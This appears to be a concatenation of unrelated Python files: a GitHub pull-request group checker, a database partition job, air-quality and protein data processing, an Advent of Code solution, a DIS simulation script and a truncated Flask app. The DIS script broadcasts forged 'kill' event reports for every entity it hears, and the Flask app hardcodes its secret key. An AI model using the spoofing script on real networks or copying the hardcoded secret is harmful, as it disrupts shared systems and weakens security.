import json
import os
from git import Repo
import sys
from github import Github

def get_values_json(payload):
    quotes_payload = json.loads(payload)
    #Extract branch of main repo
    main_branch = quotes_payload['pull_request']
    main_branch = main_branch['base']
    main_branch = main_branch['ref']
    #Extract branch of forked repo
    head_branch = quotes_payload['pull_request']
    head_branch = head_branch['head']
    head_branch = head_branch['ref']
    #Extract name of main repo
    main_repo = quotes_payload['pull_request']
    main_repo = main_repo['base']
    main_repo = main_repo['repo']
    main_repo = main_repo['full_name']
    #Extract name of forked repo
    head_repo = quotes_payload['pull_request']
    head_repo = head_repo['head']
    head_repo = head_repo['repo']
    head_repo = head_repo['full_name']
    #Extract pull request number
    pull_number = quotes_payload['number']

    return main_repo, main_branch, head_repo, head_branch, pull_number

def repair_file_path(file_path : str) -> str:
    ret = file_path
    # Remove unwanted prefix
    if len(ret) >= 1 and ret[0] == "/":
        ret = ret[1:]
    if len(ret) == 1 and ret[0] == ".":
        ret = ret[1:]
    if len(ret) >= 2 and ret[0] == "." and ret[1] == "/":
        ret = ret[2:]
    # This one is probably redundant.
    if len(ret) >= 1 and ret[0] == "/":
        ret = ret[1:]
    # Remove unwanted quotes.
    ret = ret.replace("\"", "")
    ret = ret.replace("\'", "")
    return ret

def repair_folder_path(folder_path: str) -> str:
    ret = repair_file_path(folder_path)
    # Add desired postfix
    if len(ret) >= 1 and ret[-1] != "/":
        ret += "/"
    return ret

# Returns all file additions that were made within the base folder.
# The added files are returned as lists of the folders (and file name) constituting their paths.
# E.g. a file "fol1/fol2/fol3/file1.txt" is represented as ["fol1", "fol2", "fol3", "file1.txt"]
def extract_candidates(file_additions : "list of str", base_folder_segments : "list of str") -> "list of lists of str":
    ret = []
    for file_path in file_additions:
        path_segments = file_path.split("/")
        is_candidate = True
        for j, base_segment in enumerate(base_folder_segments):
            if(base_segment != path_segments[j]):
                is_candidate = False
                break
        if is_candidate:
            ret.append(path_segments)
    return ret

# Returns the files which are named "README.md" (capitalization doesn't matter)
def extract_readme(candidates : "list of lists of str") -> "list of lists of str":
    return [e for e in candidates if e[-1].lower() == "readme.md"]

# Given a string "name1-name2-...", returns a list of all strings that are seperated by a hyphen.
# The strings are also sorted so that e.g. "name1-name2" and "name2-name1" are considered equal.
def extract_and_sort_names(folder_name : str) -> "list of str":
    l = folder_name.split("-")
    l.sort()
    return l

# Returns true if the readme contains KTH mail addresses corresponding to the ID:s extracted from its parent folder name.
def readme_is_valid(id_list : "list of str", readme_path : str) -> bool:
    file_content = []
    with open(readme_path, 'r') as f:
        file_content = f.read()
    is_valid = True
    for kth_id in id_list:
        if kth_id + "@kth.se" not in file_content:
            is_valid = False
            break
    return is_valid

# Returns the possible sorted subgroups, including the empty group as the first entry. Thus [1:] will return groups of at least one element.
# Member inclusions can be set as list of ints. This will make it so that the index of the member inclusions list will indicate whether to include
# a particular member when creating subgroups or not. An int of at least 1 is required to include the member.
def subgroups_recursion(group_members: "list of str", index : int, member_inclusions=None) -> "list of lists of str":
    if index >= len(group_members):
        return [[]]
    subgroups = subgroups_recursion(group_members, index + 1, member_inclusions=member_inclusions)
    additions = []
    if member_inclusions == None or member_inclusions[len(group_members) - 1 - index] > 0:
        for l in subgroups:
            new_entry = l.copy()
            new_entry.append(group_members[len(group_members) - 1 - index])
            additions.append(new_entry)
    return subgroups + additions

# Returns a list of tuples with the number of collaborations among the subgroups of the group members, along with which group members are part of this.
# The subgroups considered are at least of size 2.
# The special case of a group with a single members does not count as a subset to anything else but itself.
def most_collaborations(base_folder_path : str, group_members : "list of str") -> "list of pairs (int, list of str)":
    # https://stackoverflow.com/questions/973473/getting-a-list-of-all-subdirectories-in-the-current-directory
    folder_lists = [x[1] for x in os.walk(base_folder_path) if x[1] != []]
    folders = [item for sublist in folder_lists for item in sublist]

    subgroupsR = subgroups_recursion(group_members, 0)
    subgroups = [sub for sub in subgroupsR if len(sub) > 1]

    subgroups_map = {}
    for sub in subgroups:
        subgroups_map["-".join(sub)] = 0

    if len(group_members) == 1:
        counter = 0
        for f in folders:
            if f == group_members[0]:
                counter += 1
        return [(counter, [group_members[0]])]

    for f in folders:
        name_inclusions = [0 for _ in group_members]
        names = extract_and_sort_names(f)
        for n1 in names:
            for i, n2 in enumerate(group_members):
                if n1 == n2:
                    name_inclusions[i] += 1
        keysR = subgroups_recursion(group_members, 0, member_inclusions=name_inclusions)
        keys = ["-".join(key) for key in keysR if len(key) > 1]
        for key in keys:
            subgroups_map[key] += 1

    ret_list = []
    for sub in subgroups:
        ret_list.append((subgroups_map["-".join(sub)], sub))
    return ret_list

def write_json_output(report : str, is_valid_pull_request : bool, pr_number : int, is_student_submission : bool, ids_match : bool, valid_group : bool) -> "no return":
    print(json.dumps({"report":report,
                      "valid_pr":("true" if is_valid_pull_request else "false"),
                      "pr_num":pr_number,
                      "student_submission":("true" if is_student_submission else "false"),
                      "ids_match":("true" if ids_match else "false"),
                      "valid_group":("true" if valid_group else "false")
                      }))
#Writes comment on the pul request with the final report
def write_comment_pr(git_token, repo_name, pull_number, report):
    g = Github(git_token)
    repo = g.get_repo(repo_name)
    pr = repo.get_pull(pull_number)
    pr.create_issue_comment(report)

# Expects six command line arguments in the following order:
# - a github access token
# - the pull request payload as a json object
# - paths of files that have been added on the form "[file1_path,file2_path,...]".
# - the path to the base folder, which is the folder that is to be considered root when running this script.
# - an int with the maximum group size,
# - and an int with the maximum number of times the same group is allowed to work together (this includes groups of only a single person).
#
# For all paths specified, they should not begin with a "./" but every other folder in the path should be followed by "/" .
# E.g. "fol/base_folder/" .
# Pointing to current directory would be just the empty string "".
# The array of file additions should not be an array of strings denoted by quotes, i.e NOT ["file1_path","file2_path","..."],
# but rather just a single string "[file1_path,file2_path,...]".
# However, even if the input deviates from this it's attempted to repair it.
def main() -> "no return":
    report = ""
    verdict = ""
    is_valid_pull_request = True
    pr_number = -1
    is_student_submission = False
    valid_readme = False
    valid_group = False

    access_token = sys.argv[1]
    folder_name = ""

    payload = sys.argv[2]
    try:
        base_repo, base_branch, head_repo, head_branch, pull_number = get_values_json(payload)
        pr_number = pull_number
    except:
        is_valid_pull_request = False
        write_json_output(report, is_valid_pull_request, pr_number, is_student_submission, valid_readme, valid_group)
        return

    # using an access token
    # https://<token>@github.com/owner/repo.git
    # 'http://user:password@github.com/user/project.git'
    head_path = "./head"
    os.mkdir(head_path)
    repo = Repo.clone_from("https://" + access_token + "@github.com/" + head_repo + ".git", head_path, branch=head_branch)
    file_additions = sys.argv[3][1:-1].split(",")
    for i, f in enumerate(file_additions):
        file_additions[i] = repair_file_path(f)

    base_folder = sys.argv[4]
    base_folder = repair_folder_path(base_folder)
    base_folder_segments = base_folder.split("/")[:-1]
    candidates = extract_candidates(file_additions, base_folder_segments)
    readme_list = extract_readme(candidates)

    if len(readme_list) != 1:
        report += "There wasn't exactly one readme added under \"" + base_folder + "\" . This is assumed not to be a student project proposal.\n"
        is_student_submission = False
    else:
        is_student_submission = True
        folder_name = readme_list[0][-2]
        id_list = extract_and_sort_names(readme_list[0][-2]) # There is only one readme, and the ID:s should be in the immediate parent folder name.
        is_valid = readme_is_valid(id_list, head_path + "/" + "/".join(readme_list[0]))
        if is_valid:
            report +=  "The ID:s constituting the folder name matched with the email addresses in the README file.\n"
            valid_readme = True
        else:
            report += "The ID:s constituting the folder name did not match with the email addresses in the README file. "
            report += "If this is a student project proposal, please revise the pull request.\n"
            valid_readme = False

    if not is_student_submission or not valid_readme:
        write_json_output(report, is_valid_pull_request, pull_number, is_student_submission, valid_readme, valid_group)
        write_comment_pr(access_token, base_repo, pr_number, report + verdict)
        return

    base_path = "./base"
    os.mkdir(base_path)
    Repo.clone_from("https://" + access_token + "@github.com/" + base_repo + ".git", base_path, branch=base_branch)

    group_members = extract_and_sort_names(folder_name)
    collaborations = most_collaborations(base_path + "/" + base_folder, group_members)
    allowed_group_size = int(sys.argv[5])
    allowed_collaboration_times = int(sys.argv[6])

    valid_group = True
    for num, members in collaborations:
        if num >= allowed_collaboration_times:
            verdict += "The group consisting of "
            for g in members:
                verdict += g + ", "
            verdict += "appears to have worked together " + str(num) + " times, while the maximum allowed is " + str(allowed_collaboration_times) + ". "
            verdict += "Consequently they may not work together here.\n"
            valid_group = False

        report += "The group consisting of "
        for g in members:
            report += g + ", "
        report += "appears to have worked together "  + str(num) + " times.\n"
    report += "Maximum group size allowed: " + str(allowed_group_size) + ".\n"
    report += "Maximum number of collaborations allowed: " + str(allowed_collaboration_times) + ".\n"

    if len(group_members) > allowed_group_size:
        verdict += "The group size is " + str(len(group_members))
        verdict += ", but the maximum allowed group size is " + str(allowed_group_size) + ". This group is thus not allowed.\n"
        valid_group = False

    if len(verdict) == 0:
        verdict += "The group composition is allowed.\n"
    write_json_output(report + verdict, is_valid_pull_request, pull_number, is_student_submission, valid_readme, valid_group)
    write_comment_pr(access_token, base_repo, pr_number, report + verdict)

if __name__ == "__main__":
    main()


import stdlib
import settings
from datetime import datetime, date, timedelta
# Execute partition_table daily at 00:00:01 to ensure a new table is created immediately at the start of the day.

def partition_name():
    return f"{settings.db}_" + date.today().strftime('%Y%m%d')

# First collect the day's stats.
def collect_stats():
    try:
        statsq = f"SELECT MAX(VALUE)-MIN(VALUE),SENSOR FROM {settings.db} GROUP BY sensor;"
        daily_stats = stdlib.db_conn(statsq)
    except (Exception, stdlib.psycopg2.Error) as error:
        stdlib.logger().error(f"Something went wrong: {error}")
    return dict([tuple(reversed(x)) for x in daily_stats])

# Process those stats and send them away
def process_daily_stats():
    http_data = {'content': f"{collect_stats()}"}
    stdlib.post(settings.daily_stats, http_data)

# Drop the partitioned table with value partition_name from the Previous Day.
def drop_table():
    pd_partition_name = f"{settings.db}_" + (date.today() - timedelta(days=1)).strftime('%Y%m%d')
    try:
        dropq = f"DROP TABLE {pd_partition_name}"
        stdlib.db_conn(dropq)
    except (Exception, stdlib.psycopg2.Error) as pg_error:
        stdlib.logger().error(f"Something went wrong, check the PGerror: {pg_error.pgerror}")
    else:
        stdlib.logger().info(f"Table dropped: {pd_partition_name}")

# Create a database partition. Should execute at midnight every day.
def partition_table():
    start = datetime.now().replace(hour=0,minute=0,second=0).strftime('%Y-%m-%d %H:%M:%S')
    end = datetime.now().replace(hour=23,minute=59,second=59).strftime('%Y-%m-%d %H:%M:%S')
    try:
        tableq = f"CREATE TABLE {partition_name()} PARTITION OF {settings.db} FOR VALUES FROM ('{start}') TO ('{end}');"
        stdlib.db_conn(tableq)
    except:
        stdlib.logger().error(f"Something went wrong while creating a new table, best check partition_name: {partition_name()}")
    else:
        stdlib.logger().info(f"New table created with name: {partition_name()}")

if __name__ == "__main__":
    process_daily_stats()
    drop_table()
    partition_table()


import os
import tqdm
import pickle
import numpy as np
import pandas as pd
import geopandas as gpd
# Imports from eo-learn and sentinelhub-py
from eolearn.core import EOPatch, EOTask, LinearWorkflow, FeatureType
from sentinelhub import bbox_to_dimensions

from lib.utils import _get_point
from lib.data_utils import (get_era5_data,
                            get_modis_data,
                            get_elevation_data,
                            get_land_cover_data,
                            get_sen3_data,
                            get_s5p_data,
                            get_cams_data)
from algorithms.ensemble import get_feature_matrix_dict

def add_cams_col(gts, cams_eop):
    COORD_TO_GRID = {}
    dates = np.array(cams_eop.meta_info['day'])

    for i, (date, lat, lon) in enumerate(gts[["Date", "SITE_LATIT", "SITE_LONGI"]].values):
        if (lat, lon) not in COORD_TO_GRID:
            p = _get_point(lat, lon, cams_eop.data["PM2_5"][0], cams_eop.bbox)
            COORD_TO_GRID[(lat, lon)] = p

        p = COORD_TO_GRID[(lat, lon)]
        mask = date == dates
        pm25 = cams_eop.data["PM2_5"][mask][:, p[0], p[1]]
        no2_surface = cams_eop.data["NO2_surface"][mask][:, p[0], p[1]]
        gts.loc[gts.index == i, "PM2_5"] = pm25.mean()
        gts.loc[gts.index == i, "NO2_surface"] = no2_surface.mean()

def filter_gt(pm25_gt, cams_eop):
    add_cams_col(pm25_gt, cams_eop)
    pm25_gt.loc[pm25_gt.PM2_5 > 115, "PM2_5"] = 115

    v1 = pm25_gt.PM2_5
    v2 = pm25_gt.AirQuality
    mask = ((abs(v2 - v1) > v2 * 0.7) & ((v2 > 5) | (v1 > 5)))
    pm25_gt = pm25_gt.loc[~mask]

    return pm25_gt

def get_day_eop(eop, date):
    mask = eop.meta_info["day"] == date
    if not mask.any():
        return None

    out_eop = EOPatch(data={k: v[mask].mean(0, keepdims=True) for k, v in eop.data.items()},
                      meta_info={"date": date},
                      bbox=eop.bbox,
                      )

    return out_eop

def save_pickle(obj, path):
    os.makedirs(os.path.dirname(path), exist_ok=True)
    with open(path, "wb") as f:
        pickle.dump(obj, f)

def load_pickle(path):
    with open(path, "rb") as f:
        obj = pickle.load(f)
    return obj

def get_data(indir, outdir, label, aoi, feature_keys, update=False):
    # Data
    dir = indir/"ground_air_quality" / ("NO2" if label == "NO2" else "PM25")
    gt_path = dir / (os.listdir(dir)[0][:-3] + 'shp')
    gts = gpd.read_file(gt_path)

    path = outdir / ("data_" + aoi + ".pkl")
    if os.path.isfile(path) and not update:
        data = load_pickle(path)
    else:
        data = {"land_cover": get_land_cover_data(indir/("corine" if aoi == "Italy" else ""), outdir),
                "era5": get_era5_data(indir/"era5", outdir),
                "cams": get_cams_data(indir/"CAMS", outdir),
                "modis": get_modis_data(indir/"modis_MCD19A2", outdir),
                "s5p": get_s5p_data(indir/'sentinel5P', outdir),
                "elevation": get_elevation_data(indir, outdir)}
        if aoi != "South_Africa":
            data["s3_eop"] = get_sen3_data(indir/"SEN3", outdir)
        save_pickle(data, path)

    # -----------

    # Day data
    day_data = {"data": [],
                "date": []}
    for date in tqdm.tqdm(gts.Date.unique()):
        _day_data = {
            "land_cover": data["land_cover"],
            "elevation": data["elevation"],
            "era5": get_day_eop(data["era5"], date),
            "modis": get_day_eop(data["modis"], date),
            # "s3": get_day_eop(data["s3"], date),
        }

        if label == "NO2":
            _day_data["s5p"] = get_day_eop(data["s5p"], date)
            if _day_data["s5p"] is None:
                continue
        else:
            _day_data["cams"] = get_day_eop(data["cams"], date)

        if np.any([v is None for v in _day_data.values()]):
            print('Missing datapoint at date:', date, "datasets:", [k for k, v in _day_data.items() if v is None])
            continue

        assert np.all([v is not None for v in _day_data.values()])
        day_data["data"].append(_day_data)
        day_data["date"].append(date)
    # ------------------

    # Target size
    if label == "NO2":
        target_resolution = 1000
        in_eop = day_data["data"][0]["s5p"]
    else:
        target_resolution = 1000 if aoi == "Italy" else 10_000
        in_eop = day_data["data"][0]["cams"]

    target_size = bbox_to_dimensions(in_eop.bbox, target_resolution)[::-1]
    # -----------------

    day_data["feat_dicts"] = []
    day_data["feats"] = []
    for i in range(len(day_data["data"])):
        feat_dict = get_feature_matrix_dict(
            day_data["data"][i], target_size, label, verbose=False)
        day_data["feat_dicts"].append(feat_dict)

        feats = np.stack([feat_dict[k] for k in feature_keys], axis=-1)
        day_data["feats"].append(feats)

    return day_data, gts, target_size


import pandas as pd
import argparse
import numpy

def parse_args():
    parser = argparse.ArgumentParser(description='Pre-process clinvar file')

    parser.add_argument('--mapping_uniprot',
                        dest='protein',
                        help='Uniprot mapping preproc uniprot_all_data_associated_to_mlo_preproc.tsv')

    parser.add_argument('--mobidb_dc',
                        dest='modidb',
                        help='Mobidb disorder content disorder_content.csv')

    opts = parser.parse_args()
    return opts

    parser.parse_args()

if __name__ == "__main__":

    opts = parse_args()
    #uniprot_acc mappping all data (gene_name, gene_id, hgnc_id, etc) of proteins related to mlo
    protein = pd.read_csv(opts.protein, sep="\t")

    # Mobidb disorder content
    mobidb = pd.read_csv(opts.modidb).rename(columns={'uniprot': 'uniprot_acc', 'dc': 'disorder_content'})
    print(f'modibd dc {mobidb.shape[0]}')

    #take in count some uniprot can be old accession
    p_new_old = protein[['id_protein', 'uniprot_other_accesions']].rename(columns={'uniprot_other_accesions': 'uniprot_acc'})
    p_new_old['uniprot_acc'] = p_new_old['uniprot_acc'].str.split(';')
    p_new_old = p_new_old.explode('uniprot_acc')
    p_new_old['uniprot_acc'] = p_new_old['uniprot_acc'].str.strip()
    p_new_old = p_new_old[~p_new_old['uniprot_acc'].isnull()]
    p_new_old = p_new_old[p_new_old['uniprot_acc'] != '']

    p_new_old = pd.concat([protein[['id_protein', 'uniprot_acc']], p_new_old])

    #not human uniprot accessions
    #print(set(mobidb['uniprot_acc'].tolist()).difference(set(p_new_old['uniprot_acc'].tolist())))

    mobidb = mobidb.merge(p_new_old)
    mobidb = mobidb[['id_protein', 'disorder_content']].drop_duplicates()
    print(f'mobidb_dc mapped llps proteins, rows {mobidb.shape[0]}, unique id_protein {len(set(mobidb["id_protein"].tolist()))}')

    #add disorder content
    protein = protein.merge(mobidb, how= 'left')

    protein = protein[['id_protein', 'uniprot_acc', 'uniprot_status', 'length', 'uniprot_name', 'hgnc_id', 'gene_id', 'gene_name', 'disorder_content', 'gene_name_synonyms', 'protein_names', 'sequence']]
    k = "|".join(["ubiquinone", "ATP", "NAD", "NADH", "NADP", "NADPH", "NADP\(\+\)", "NMDA", "ADP\/GDP-forming", "GDP-forming", "ADP-forming", "acylating", "ammonia", "flavin-containing", "isomerizing", "carboxylating", "decarboxylating", "acetyl-transferring"])
    protein['protein_names'] = protein['protein_names'].str.replace(' ?\[('+k+')\]', '', regex=True)

    print(f'total of proteins {protein.shape[0]}')

    protein.to_csv('../db_tables/protein.tsv', sep='\t', index= False)

    '''
    print(numpy.nanmax(protein['uniprot_status'].str.len())) #10
    print(numpy.nanmax(protein['sequence'].str.len())) #34350
    print(numpy.nanmax(protein['hgnc_id'].str.len())) #71
    print(numpy.nanmax(protein['gene_name'].str.len())) #75
    print(numpy.nanmax(protein['gene_id'].str.len())) #73
    print(numpy.nanmax(protein['gene_name_synonyms'].str.len())) #267
    print(numpy.nanmax(protein['protein_names'].str.len())) #631
    print(numpy.nanmax(protein['uniprot_name'].str.len())) #16
    print(numpy.nanmax(protein['uniprot_acc'].str.len())) #10
    '''


import config

def save_meta_data(meta_data_dictionary):
    with open(config.META_DATA_FILENAME, 'w') as f:
        for key, value in meta_data_dictionary.items():
            f.write(f'{key}: {value}\n')

def load_meta_data():
    metadata_filename = config.META_DATA_FILENAME

    # Load metadata if the file exists
    loaded_metadata = {}
    try:
        with open(metadata_filename, 'r') as f:
            for line in f:
                key, value = line.strip().split(': ', 1)
                loaded_metadata[key] = value
        print("Metadata loaded.")
    except FileNotFoundError:
        print("Metadata file not found.")

    return loaded_metadata


"""
--- 2015 --- Day 17: No Such Thing as Too Much ---
"""

from itertools import combinations

EXAMPLES1 = (
)

EXAMPLES2 = (
)

INPUT = '17.txt'

def read_data(filename):
    with open(filename) as f:
        return [int(_) for _ in f.readlines()]

def fill(size, containers):
    count = 0
    for number in range(1, len(containers) + 1):
        found_lower = False
        for sol in combinations(range(len(containers)), number):
            sizesol = sum(containers[_] for _ in sol)
            if sizesol == size:
                count += 1
            if sizesol <= size:
                found_lower = True
        if found_lower is False:
            break
    return count

def fill_min(size, containers):
    count = 0
    for number in range(1, len(containers) + 1):
        print(number)
        for sol in combinations(range(len(containers)), number):
            sizesol = sum(containers[_] for _ in sol)
            if sizesol == size:
                count += 1
        if count:
            break
    return count

def code1(containers):
    return fill(150, containers)

def code2(containers):
    return fill_min(150, containers)

def test(n, code, examples, myinput):
    for fn, expected in examples:
        data = read_data(fn)
        result = code(data)
        assert expected is None or result == expected, (data, expected, result)

    print(f'{n}>', code(read_data(myinput)))

test(1, code1, EXAMPLES1, INPUT)
test(2, code2, EXAMPLES2, INPUT)


import socket

from io import BytesIO

from opendis.DataOutputStream import DataOutputStream
from opendis.dis7 import EventReportPdu, FixedDatum, VariableDatum
from opendis.PduFactory import createPdu

# EXERCISE_ID = 97
# UDP_PORT = 3000
EXERCISE_ID = 99
UDP_PORT = 3000
FILENAME = "test.lzma"

DESTINATION_ADDRESS = "255.255.255.255"
entityids = set()

print("Created UDP socket {}".format(UDP_PORT))

def send(udpSocket, site=0, host=0, num=0):
    if site == 4 and host == 800 and num == 5:
        return None

    pdu = EventReportPdu()  # 1 9681 12
    pdu.receivingEntityID.entityID = num
    pdu.receivingEntityID.applicationID = host
    pdu.receivingEntityID.siteID = site

    fixed_one = FixedDatum()
    fixed_two = FixedDatum()
    fixed_three = FixedDatum()

    fixed_one.fixedDatumID = 15100
    fixed_one.fixedDatumValue = site
    fixed_two.fixedDatumID = 15200
    fixed_two.fixedDatumValue = host
    fixed_three.fixedDatumID = 15300
    fixed_three.fixedDatumValue = num

    variable_one = VariableDatum()
    variable_one.variableDatumID = 0

    pdu.numberOfFixedDatumRecords = 3
    pdu.numberOfVariableDatumRecords = 1

    pdu.fixedDatums = [fixed_one, fixed_two, fixed_three]
    pdu.variableDatums = [variable_one]

    pdu.eventType = 803

    pdu.protocolVersion = 5

    pdu.length = 72
    pdu.exerciseID = EXERCISE_ID

    memoryStream = BytesIO()
    outputStream = DataOutputStream(memoryStream)
    pdu.serialize(outputStream)
    data = memoryStream.getvalue()
    # while True:
    udpSocket.sendto(data, (DESTINATION_ADDRESS, UDP_PORT))
    # print(f"Killed {site} {host} {num}")
    # print("Sent {}. {} bytes".format(pdu.__class__.__name__, len(data)))
    # time.sleep(1)

def receive_pdu(udpSocket, exercise_id):
    """

    :param udp_port: int : port on which dis is transmitted
    :param exercise_id: int
    :return: bytes
    """

    data = udpSocket.recv(4096)

    try:
        current_pdu = createPdu(data)
    except:
        return

    if current_pdu is not None:
        if current_pdu.exerciseID == exercise_id:
            try:
                # entityids.add(current_pdu.entityID)
                if current_pdu.pduType != 1:
                    return
                send(udpSocket, current_pdu.entityID.siteID, current_pdu.entityID.applicationID,
                     current_pdu.entityID.entityID)
                print(f"Killed: {current_pdu.entityID.siteID}, {current_pdu.entityID.applicationID}, {current_pdu.entityID.entityID}, {current_pdu.marking}")
            except AttributeError:
                return

udp_port = 3000
udpSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udpSocket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
udpSocket.bind(("", udp_port))
udpSocket.settimeout(3)  # exit if we get nothing in this many seconds

while True:
    receive_pdu(udpSocket, EXERCISE_ID)


import json
import requests
import logging
import traceback
from flask import (Flask, flash, redirect, render_template,
                   request, url_for, send_file)

from app.api import *
from app.api.preprocesado_ddr import *
from app.api.taladros_daily_ops import *

from app.database import *
from app.api.queries import *
from app.activity_phases import *

from app.forms import *

cwd = os.getcwd()
LOGS_FOLDER = os.path.join(cwd, 'logs')
XLS_FOLDER = os.path.join(cwd, 'app','static','xlfiles')

casings_data_file = os.path.join(XLS_FOLDER, 'CARACTERISTICAS_CASING.xlsx')

casings_data_df = pd.read_excel(casings_data_file)

if not os.path.exists(LOGS_FOLDER):
    os.mkdir(LOGS_FOLDER)

file_basename = os.path.basename(__file__)
filename = file_basename.split('.')[0]
log_file = os.path.join(LOGS_FOLDER, '{}.log'.format(filename))
log_file_path = os.path.abspath(log_file)

logging.basicConfig(filename=log_file_path,
                    filemode='a',
                    format='%(asctime)s - %(levelname)s - %(message)s',
                    level=logging.INFO,
                    datefmt='%Y/%m/%d %H:%M:%S')

app = Flask(__name__)
app.config['SECRET_KEY'] = 'PyTmKoIeRfD67.2VbQ'
app.register_blueprint(api_blueprint)
app.register_blueprint(activity_phases_blueprint)

@app.route('/')
def hello_world():  # put application's code here
    return redirect('/home')

@app.route('/home')
def home():
    return render_template('home.html')

@app.route('/error')
def error_page():
    return render_template('404.html')

@app.route('/ajustarProfundidades', methods=['GET', 'POST'])
def ajustar_profundidades():
    return render_template('ajustar_profundidades.html')

@app.route('/ajusteTDEventos', methods=['GET', 'POST'])
def ajustar_prof_eventos():
    try:
        ROOT = request.url_root

        form = AjusteProfEventosForm()

        context = {
            'form': form,
        }

        if form.validate_on_submit():
            nombrepozo = form.nombrepozo.data
            new_td = form.td.data

            get_well_id_url = ROOT + url_for('api.wellid', wellname=nombrepozo)

            response = requests.get(get_well_id_url)
            data = json.loads(response.content.decode("utf-8"))
            well_id = data['WELL ID']

            print('NOMBRE DEL POZO')
            print(nombrepozo)
            print('WELL ID')
            print(well_id)
            print('NUEVA TD')
            print(new_td)

            ajustar_profs_eventos_url = ROOT + \
                url_for('api.ajustar_profs_eventos')

            print(ajustar_profs_eventos_url)

            response = requests.get(ajustar_profs_eventos_url, params={"new_td": new_td,
                                                            "well_id":well_id
                                                            }
                                    )
            num_registros_actualizados = json.loads(response.content.decode("utf-8"))['num_registros_afectados']

            flash(f'Se actualizaron {num_registros_actualizados} registros')

            return redirect(url_for('ajustar_prof_eventos'))

        return render_template('ajuste_prof_eventos.html', **context)

    except Exception as e:
        print(e)
        logging.error(e)
        logging.info('TRACE BACK FOUND:')
        logging.error(traceback.format_exc())
        return redirect(url_for('error_page'))

@app.route('/ajusteMDsCurrent', methods=['GET', 'POST'])
def ajustar_md_current():
    try:
        ROOT = request.url_root

        form = AjusteMDsForm()

        context = {
            'form': form,
        }

        if form.validate_on_submit():
            nombrepozo = form.nombrepozo.data
            delta = form.delta.data

            get_well_id_url = ROOT + url_for('api.wellid', wellname=nombrepozo)

            response = requests.get(get_well_id_url)
            data = json.loads(response.content.decode("utf-8"))
            well_id = data['WELL ID']

            print('NOMBRE DEL POZO')
            print(nombrepozo)
            print('WELL ID')
            print(well_id)
            print('DELTA')
            print(delta)

            ajustar_MDs_url = ROOT + \
                url_for('api.ajustar_MDs_current')

            print(ajustar_MDs_url)

            response = requests.get(ajustar_MDs_url, params={"delta": delta,
                                                            "well_id":well_id
                                                            }
                                    )
            num_registros_actualizados = json.loads(response.content.decode("utf-8"))['num_registros_afectados']

            flash(f'Se actualizaron {num_registros_actualizados} registros')

            return redirect(url_for('ajustar_md_current'))

        return render_template('ajustar_md_current.html', **context)

    except Exception as e:
        print(e)
        logging.error(e)
        logging.info('TRACE BACK FOUND:')
        logging.error(traceback.format_exc())
        return redirect(url_for('error_page'))

@app.route('/ajusteMDsFromTo', methods=['GET', 'POST'])
def ajustar_md_from_to():
    try:
        ROOT = request.url_root

        form = AjusteMDsForm()

        context = {
            'form': form,
        }

        if form.validate_on_submit():
            nombrepozo = form.nombrepozo.data
            delta = form.delta.data

            get_well_id_url = ROOT + url_for('api.wellid', wellname=nombrepozo)

            response = requests.get(get_well_id_url)
            data = json.loads(response.content.decode("utf-8"))
            well_id = data['WELL ID']

            print('NOMBRE DEL POZO')
            print(nombrepozo)
            print('WELL ID')
            print(well_id)
            print('DELTA')
            print(delta)

            ajustar_MDs_url = ROOT + \
                url_for('api.ajustar_MDs_from_to')

            print(ajustar_MDs_url)

            response = requests.get(ajustar_MDs_url, params={"delta": delta,
                                                            "well_id":well_id
                                                            }
                                    )
            num_registros_actualizados = json.loads(response.content.decode("utf-8"))['num_registros_afectados']

            flash(f'Se actualizaron {num_registros_actualizados} registros')

            return redirect(url_for('ajustar_md_from_to'))

        return render_template('ajustar_md_from_to.html', **context)

    except Exception as e:
        print(e)
        logging.error(e)
        logging.info('TRACE BACK FOUND:')
        logging.error(traceback.format_exc())
        return redirect(url_for('error_page'))

@app.route('/ajusteMDsSurvey', methods=['GET', 'POST'])
def ajustar_md_survey():
    try:
        ROOT = request.url_root

        form = AjusteMDsForm()

        context = {
            'form': form,
        }

        if form.validate_on_submit():
            nombrepozo = form.nombrepozo.data
            delta = form.delta.data

            get_well_id_url = ROOT + url_for('api.wellid', wellname=nombrepozo)

            response = requests.get(get_well_id_url)
            data = json.loads(response.content.decode("utf-8"))
            well_id = data['WELL ID']

            print('NOMBRE DEL POZO')
            print(nombrepozo)
            print('WELL ID')
            print(well_id)
            print('DELTA')
            print(delta)

            ajustar_MDs_url = ROOT + \
                url_for('api.ajustar_MDs_survey')

            print(ajustar_MDs_url)

            response = requests.get(ajustar_MDs_url, params={"delta": delta,
                                                            "well_id":well_id
                                                            }
                                    )
            num_registros_actualizados = json.loads(response.content.decode("utf-8"))['num_registros_afectados']

            flash(f'Se actualizaron {num_registros_actualizados} registros')

            return redirect(url_for('ajustar_md_survey'))

        return render_template('ajustar_md_survey.html', **context)
    except Exception as e:
        print(e)
        logging.error(e)
        logging.info('TRACE BACK FOUND:')
        logging.error(traceback.format_exc())
        return redirect(url_for('error_page'))

@app.route('/ajusteMDs', methods=['GET', 'POST'])
def ajustar_md():
    try:
        ROOT = request.url_root

        form = AjusteMDsForm()

        context = {
            'form': form,
        }

        if form.validate_on_submit():
            nombrepozo = form.nombrepozo.data
            delta = form.delta.data

            get_well_id_url = ROOT + url_for('api.wellid', wellname=nombrepozo)

            response = requests.get(get_well_id_url)
            data = json.loads(response.content.decode("utf-8"))
            well_id = data['WELL ID']

            print('NOMBRE DEL POZO')
            print(nombrepozo)
            print('WELL ID')
            print(well_id)
            print('DELTA')
            print(delta)

            ajustar_MDs_url = ROOT + \
                url_for('api.ajustar_MDs')

            print(ajustar_MDs_url)

            response = requests.get(ajustar_MDs_url, params={"delta": delta,
                                                            "well_id":well_id
                                                            }
                                    )
            num_registros_actualizados = json.loads(response.content.decode("utf-8"))['num_registros_afectados']

            flash(f'Se actualizaron {num_registros_actualizados} registros')

            return redirect(url_for('ajustar_md'))

        return render_template('ajuste_md.html', **context)
    except Exception as e:
        print(e)
        logging.error(e)
        logging.info('TRACE BACK FOUND:')
        logging.error(traceback.format_exc())
        return redirect(url_for('error_page'))

@app.route('/deleteCompStatus', methods=['GET', 'POST'])
def comp_status():
    try:
        ROOT = request.url_root

        form = ProcesoMasivoPozoEspecificoForm()

        context = {
            'form': form,
        }

        if form.validate_on_submit():
            nombrepozo = form.nombrepozo.data

            get_well_id_url = ROOT + url_for('api.wellid', wellname=nombrepozo)

            response = requests.get(get_well_id_url)
            data = json.loads(response.content.decode("utf-8"))
            well_id = data['WELL ID']

